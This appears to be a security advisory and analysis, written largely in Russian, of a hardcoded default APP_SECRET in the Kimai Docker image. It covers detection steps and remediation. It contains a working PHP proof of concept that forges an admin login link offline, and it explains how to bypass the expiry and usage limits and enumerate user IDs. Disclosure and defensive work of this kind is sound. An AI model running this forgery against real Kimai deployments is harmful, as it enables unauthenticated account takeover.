
Technical analysis and PoC of CVE-2026-52824: default APP_SECRET in the Kimai Docker image enabling unauthenticated login link forgery. Affects <= 2.57.0, fixed in 2.58.0.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-52824 |
| Уведомление | GHSA-jr9p-4h4j-6c58 |
| Серьёзность | Критическая |
| CWE | CWE-1188, Initialization of a Resource with an Insecure Default |
| Затронуто | kimai/kimai <= 2.57.0 |
| Исправлено | 2.58.0 |
| Опубликовано уведомление | 2026-06-11 |
| Добавлено в базу уведомлений GitHub | 2026-07-14 |
| Автор отчёта | AzureADTrent |
Официальный Docker-образ Kimai поставлялся с жестко заданным APP_SECRET. Это значение становится kernel.secret в Symfony, который подписывает ссылки входа, remember-me cookie, URL сброса пароля и CSRF-токены. Поскольку подпись ссылки входа в Kimai покрывала только id пользователя, неаутентифицированный атакующий, знающий секрет, мог вычислить валидную ссылку входа офлайн и войти под любым пользователем.
Dockerfile:263 задавал:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 использует его как kernel.secret:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh не выполнял проверку на сигнальное значение, а .env.dist:38 содержал тот же вариант по умолчанию для установок на «голое железо». Никакая защита при запуске не препятствовала загрузке со значением по умолчанию.
Любое Docker-развертывание, явно не переопределявшее APP_SECRET, работало с публично известным ключом подписи.
Kimai обрабатывает ссылку входа по адресу /en/auth/link/check с параметрами user, expires и hash. Значение hash представляет собой 44-символьный HMAC, конкатенированный напрямую с 44-символьным хешем полей, что соответствует acceptSignatureHash(), который разделяет их со смещения 44.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
Успешный запрос возвращает код 302 и устанавливает cookie KIMAI_REMEMBER для целевой учетной записи.
expires входит в HMAC и контролируется атакующим, а валидация отклоняет только уже прошедшие метки времени — verifySignatureHash() проверяет лишь $expires < time() и ничего больше. Настроенный lifetime: 900 управляет только генерацией ссылки и никогда не проверяется при валидации, поэтому поддельная ссылка может содержать сколь угодно отдаленный срок действия.
max_uses: 3 столь же несущественен. Он ограничивает повторное использование одной выданной ссылки; атакующий создает новую ссылку на каждую попытку.
Уведомление перечисляет три предусловия: известно имя пользователя, угадан корректный ID учетной записи и у учетной записи нет активной 2FA.
На практике эти предусловия слабые. ID пользователей идут последовательно с 1, первый super_admin обычно имеет ID 1, а каждая попытка — это один неаутентифицированный GET-запрос. Пространство имен пользователей и ID можно перебирать. Двухфакторная аутентификация — единственное предусловие, которое действительно блокирует атаку.
Локальные проверки:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
Сигнальное значение APP_SECRET при отсутствии файла .appsecret указывает на уязвимое развертывание.
Обновитесь до версии 2.58.0 или новее. Исправление:
APP_SECRET по умолчанию из Dockerfilebin2hex(random_bytes(32)), сохраняет его в /opt/kimai/var/data/.appsecret и записывает в /opt/kimai/.env.localЕсли вы не можете обновиться немедленно, задайте уникальный секрет с высокой энтропией явно:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
Ротация APP_SECRET аннулирует существующие remember-me cookie, ожидающие ссылки сброса пароля и активные CSRF-токены; пользователям потребуется войти заново. Ротацию и инвалидацию сессий можно безопасно выполнять независимо от того, подтверждена ли утечка секрета. Администраторам, которые не могут определить свое состояние, следует выполнить ротацию, а не предполагать, что все в порядке.
projectdiscovery/nuclei-templatesПубликация этого разбора была отложена до момента, когда механизм стал независимо доступен публично.